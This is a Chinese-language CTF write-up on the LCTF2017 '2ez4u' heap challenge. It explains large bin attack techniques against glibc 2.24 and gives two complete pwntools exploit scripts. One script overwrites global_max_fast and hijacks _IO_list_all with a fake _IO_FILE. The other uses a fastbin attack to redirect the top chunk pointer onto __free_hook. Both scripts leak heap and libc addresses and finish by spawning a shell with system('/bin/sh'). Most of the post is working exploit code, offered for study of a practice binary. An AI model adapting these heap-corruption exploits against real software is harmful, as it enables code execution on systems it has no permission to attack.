Large_Bin_Attack

依旧是不定时更新,东拼西凑,到处查看其他师傅的WP,一知半解的写下了此页,然后就是准备写一下不同的方法

2ez4u-LCTF2017

Download

MAIN LIBC GMF TOP

Global_Max_Fast

程序由于只能泄漏chunk->bk_nextsize域往后的内容,故利用Large Bin Attack

  1. Leak the heap_base:通过free掉两个同一IDX的large chunk则可打印出堆地址
  2. Leak the libc_base:首先布置一个fake_large_chunk,然后通过unlink申请该chunk,由于该large chunk 可以包含一个small chunk,在申请fake_chunk之前,将两个不相邻而大小相同的small chunk扔进unsorted bins,申请fake_chunk时就会进入small bin,然后申请出small bin中的尾块,即可在fake_chunk包含的那个块中写上libc的某地址,进而取得libc_base
  3. Global Max Fast:修复包含的small chunk的size域,申请出来然后放进unsorted bins中,通过fake_chunk修改该块的内容,利用unsorted bin attack在global max fast写上一个很大的值,然后再次修改该块的size域,满足free掉的位置处于&_IO_list_all上,并将其内容覆盖为fake_IO_FILE,释放掉会覆盖IO_list_all指针实现劫持,然后由于unsorted bins 损坏,再次申请即可crash 并getshell
    注意链可能会修复等情况,以及small chunk申请会检测前一个块的fd域
1
from pwn import*
2
context.log_level ='DEBUG'
3
def new(size,content,sign=0):
4
	p.sendlineafter('your choice:','1')
5
	p.sendlineafter('color?(0:red, 1:green):','0')
6
	p.sendlineafter('value?(0-999):','0')
7
	p.sendlineafter('num?(0-16):','0')
8
	p.sendlineafter('description length?(1-1024):',str(size))
9
	if sign == 1:
10
		return
11
	p.sendafter('description of the apple:',content)
12
def free(index):
13
	p.sendlineafter('your choice:','2')
14
	p.sendlineafter('which?(0-15):',str(index))
15
def edit(index,content):
16
	p.sendlineafter('your choice:','3')
17
	p.sendlineafter('which?(0-15):',str(index))
18
	p.sendlineafter('color?(0:red, 1:green):','2')
19
	p.sendlineafter('value?(0-999):','1000')
20
	p.sendlineafter('num?(0-16):','17')
21
	p.sendafter('description of the apple:',content)
22
def show(index):
23
	p.sendlineafter('your choice:','4')
24
	p.sendlineafter('which?(0-15):',str(index))
25
p = process('./main')
26
libc = ELF('./libc-2.24.so',checksec=False)
27
new(0x3F0,'FMYY\n')
28
new(0xD8 ,'FMYY\n')
29
new(0x3F0,'FMYY\n')
30
new(0xD8 ,'FMYY\n')
31
free(2)
32
free(0)
33
new(0x400,'FMYY\n')
34
show(2)
35
p.recvuntil('description:')
36
heap_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) - 0x510
37
log.info('HEAP:\t' + hex(heap_base))
38
#clear all chunks
39
free(0)
40
free(3)
41
free(1)
42
free(0) #here I just want to free all chunks so that I can layout the new structure once again
43
#-------------------
44
unlink = heap_base + 0x28
45
P = heap_base + 0xB60
46
47
new(0x10,p64(P) + '\n')
48
new(0xD8,'FMYY\n')
49
new(0x3F0,'FMYY\n')
50
new(0xD8,'FMYY\n')
51
new(0x3E0,'FMYY\n')
52
new(0xD8,'FMYY\n')
53
new(0xD8,p64(0x411) + p64(unlink -0x18) + p64(unlink -0x10) + p64(0)*2 + '\n')
54
new(0x1D8,'FMYY\n')
55
new(0x98  ,'FMYY\n')
56
new(0x1D8,p64(0)*9 + p64(0x410) + p64(0x20) + p64(0)*2 + p64(0) + p64(0x21)  + '\n')
57
new(0x400,'FMYY\n')
58
new(0x400,'FMYY\n')
59
new(0x400,'FMYY\n')
60
new(0x2A0,'FMYY\n')
61
new(0x128,p64(0) + p64(0x1410) + p64(0x21) + p64(0)*2 + p64(0) + p64(0x21) + '\n')
62
free(0)
63
free(2)
64
free(4)
65
new(0x400,'FMYY\n')
66
edit(4,p64(P) + '\n')
67
free(9)
68
free(7)
69
new(0x3F0,'U'*24*8 + p32(0xDEADBEEF)*2 + '\n') #So far,we have get the fake_chunk ,and the index is 2
70
new(0x1D8,'FMYY\n')
71
edit(4,p64(heap_base + 0x130) + '\n') #fix the large bins
72
show(2)
73
p.recvuntil('\xEF\xBE\xAD\xDE'*2)
74
libc_base=u64(p.recv(6).ljust(8,'\x00')) -584 - 0x10 -libc.sym['__malloc_hook']
75
libc.address = libc_base
76
IO_list_all = libc.sym['_IO_list_all']
77
system = libc.sym['system']
78
binsh = libc.search('/bin/sh').next()
79
IO_str_jumps =libc_base + 0x3BE4C0
80
Global_max_fast = libc_base + 0x3C37D0
81
log.info('LIBC:\t' + hex(libc_base))
82
edit(2,'\x00'*24*8 + p64(0X201) + p64(584 + 0x10 + libc.sym['__malloc_hook'])*2+ '\n')
83
new(0x1D8,'FMYY\n') #7
84
free(7)
85
edit(2,'\x00'*24*8 + p64(0x201) + p64(libc.sym['__malloc_hook'] + 0x10 + 88) + p64(Global_max_fast -0x10) + '\n')
86
new(0x1D8,'FMYY\n')
87
fake_IO_FILE = p64(0)*4
88
fake_IO_FILE += p64(0) + p64(1)
89
fake_IO_FILE += p64(0) + p64(binsh)
90
fake_IO_FILE  =fake_IO_FILE.ljust(0xD8,'\x00')
91
fake_IO_FILE += p64(IO_str_jumps - 8)
92
fake_IO_FILE += p64(0) + p64(system)
93
edit(2,'\x00'*24*8 + p64(0x1411) + fake_IO_FILE[0x10:] + '\n')
94
free(7)
95
new(0x300,'FMYY\n',sign=1)
96
#--------------
97
98
p.interactive()
99
100
'''
101
00000000 apple           struct; (sizeof=0x20)
102
00000000 color_choice    dd
103
00000004 num             dd
104
00000008 value           dq
105
00000010 index           dd
106
00000014 pad             dd
107
00000018 description     dq
108
00000020 apple           ends
109
#----------------
110
00000000 apple_manage    struct; (sizeof=0x10)
111
00000000 inuse           dd
112
00000004 size            dd
113
00000008 apple_ptr       dq                    ; offset
114
00000010 apple_manage    ends
115
'''

Modify TOP Chunk Ptr

此方法前半部分和上一个EXP类似,然后这里就是利用的fastbin attack

  1. 同样的方法泄漏heap_base 和libc_base
  2. 由于可以通过fake_chunk溢出修改包含的多个fastbin chunk,且在fastbins中的块被申请出去,main_arena相应的位置将更新信息,如果修改一个块的fd信息为target,当改块被申请时,main_arena相应位置即可变为target,因此这里利用该方法实现fastbin attack从而修改main_arena+88的地址处的指针为&__free_hook -0XB58
  3. 注意块的数量限制以及large bin的修复,多次申请即可到达free_hook上方,令free_hook为system,然后fake_chunk向下溢出修改一个块的fd域为’/bin/sh’并释放即可getshell

其他应该还可以利用unsorted bin attack 在free_hook或者malloc_hook上面写个很大的值,然后利用0x7F错位从而申请到上方的块,没有尝试,理论可以

1
from pwn import*
2
context.log_level ='DEBUG'
3
def new(size,content,sign=0):
4
	p.sendlineafter('your choice:','1')
5
	p.sendlineafter('color?(0:red, 1:green):','0')
6
	p.sendlineafter('value?(0-999):','0')
7
	p.sendlineafter('num?(0-16):','0')
8
	p.sendlineafter('description length?(1-1024):',str(size))
9
	if sign == 1:
10
		return
11
	p.sendafter('description of the apple:',content)
12
def free(index):
13
	p.sendlineafter('your choice:','2')
14
	p.sendlineafter('which?(0-15):',str(index))
15
def edit(index,content):
16
	p.sendlineafter('your choice:','3')
17
	p.sendlineafter('which?(0-15):',str(index))
18
	p.sendlineafter('color?(0:red, 1:green):','2')
19
	p.sendlineafter('value?(0-999):','1000')
20
	p.sendlineafter('num?(0-16):','17')
21
	p.sendafter('description of the apple:',content)
22
def show(index):
23
	p.sendlineafter('your choice:','4')
24
	p.sendlineafter('which?(0-15):',str(index))
25
p = process('./main')
26
libc = ELF('./libc-2.24.so',checksec=False)
27
new(0x3F0,'FMYY\n')
28
new(0xD8 ,'FMYY\n')
29
new(0x3F0,'FMYY\n')
30
new(0xD8 ,'FMYY\n')
31
free(2)
32
free(0)
33
new(0x400,'FMYY\n')
34
show(2)
35
p.recvuntil('description:')
36
heap_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) - 0x510
37
log.info('HEAP:\t' + hex(heap_base))
38
#clear all chunks
39
free(0)
40
free(3)
41
free(1)
42
free(0) #here I just want to free all chunks so that I can layout the new structure once again
43
#-------------------
44
unlink = heap_base + 0x28
45
P = heap_base + 0xB60
46
47
new(0x10,p64(P) + '\n')
48
new(0xD8,'FMYY\n')
49
new(0x3F0,'FMYY\n')
50
new(0xD8,'FMYY\n')
51
new(0x3E0,'FMYY\n')
52
new(0xD8,'FMYY\n')
53
new(0xD8,p64(0x411) + p64(unlink -0x18) + p64(unlink -0x10) + p64(0)*2 + '\n')
54
new(0x118,'FMYY\n')
55
new(0x60  ,'FMYY\n') #8
56
new(0x50  ,'FMYY\n') #9
57
new(0x70  ,'FMYY\n') #10
58
new(0x118,p64(0)*9 + p64(0x410) + p64(0x20) + p64(0)*2 + p64(0) + p64(0x21)  + '\n')
59
new(0x60,'FMYY\n')
60
free(0)
61
free(2)
62
free(4)
63
new(0x400,'FMYY\n')
64
edit(4,p64(P) + '\n')
65
free(11)
66
free(7)
67
new(0x3F0,'U'*24*8 + p32(0xDEADBEEF)*2 + '\n') #So far,we have get the fake_chunk ,and the index is 2
68
edit(4,p64(heap_base + 0x130) + '\n') #fix the large bins
69
new(0x118,'FMYY\n')
70
show(2)
71
p.recvuntil('\xEF\xBE\xAD\xDE'*2)
72
libc_base=u64(p.recv(6).ljust(8,'\x00')) -392 - 0x10 -libc.sym['__malloc_hook']
73
log.info('LIBC:\t' + hex(libc_base))
74
libc.address = libc_base
75
edit(2,'\x00'*24*8 + p64(0x141) + p64(392 + 0x10 + libc.sym['__malloc_hook'])*2+ '\n')
76
free(8)
77
free(9)
78
fake_fastbin = libc.sym['__malloc_hook'] + 0x10 + 0x30
79
payload = '\x00'*24*8 + p64(0x141) + p64(392 + 0x10 + libc.sym['__malloc_hook'])*2
80
payload += '\x00'*0x120
81
payload += p64(0) + p64(0x81) + p64(0x71) + p64(0)
82
payload += '\x00'*0x60
83
payload += p64(0) + p64(0x71) + p64(fake_fastbin) + '\n'
84
edit(2,payload)
85
new(0x60,'FMYY\n')
86
new(0x50,'FMYY\n')
87
new(0x50,p64(libc.sym['__free_hook'] -0xB58) + '\n')
88
free(7)
89
free(8)
90
new(0x300,'FMYY\n')
91
new(0x300,'FMYY\n')
92
new(0x300,'FMYY\n')
93
new(0x300,'FMYY\n')
94
new(0x300,'FMYY\n')
95
new(0x320,'\x00'*0x1D0 + p64(libc.sym['system']) + '\n')
96
payload = '\x00'*24*8 + p64(0x141)
97
payload += p64(392 + 0x10 + libc.sym['__malloc_hook'])*2+ '\x00'*0x120
98
payload += p64(0) + p64(0x81) + '\x00'*0x70
99
payload += p64(0) + p64(0x71) + '\x00'*0x60
100
payload += p64(0) + p64(0x91) + '/bin/sh\n'
101
edit(2,payload)
102
free(10)
103
p.interactive()

参考文章
ptmalloc利用之largebin attack
Large bin attack–LCTF2017-2ez4u–writeup

未完待续

Contents
  1. 1. 2ez4u-LCTF2017
    1. 1.1. Download
    2. 1.2. Global_Max_Fast
    3. 1.3. Modify TOP Chunk Ptr
    4. 1.4. Link
  2. 2. 未完待续
|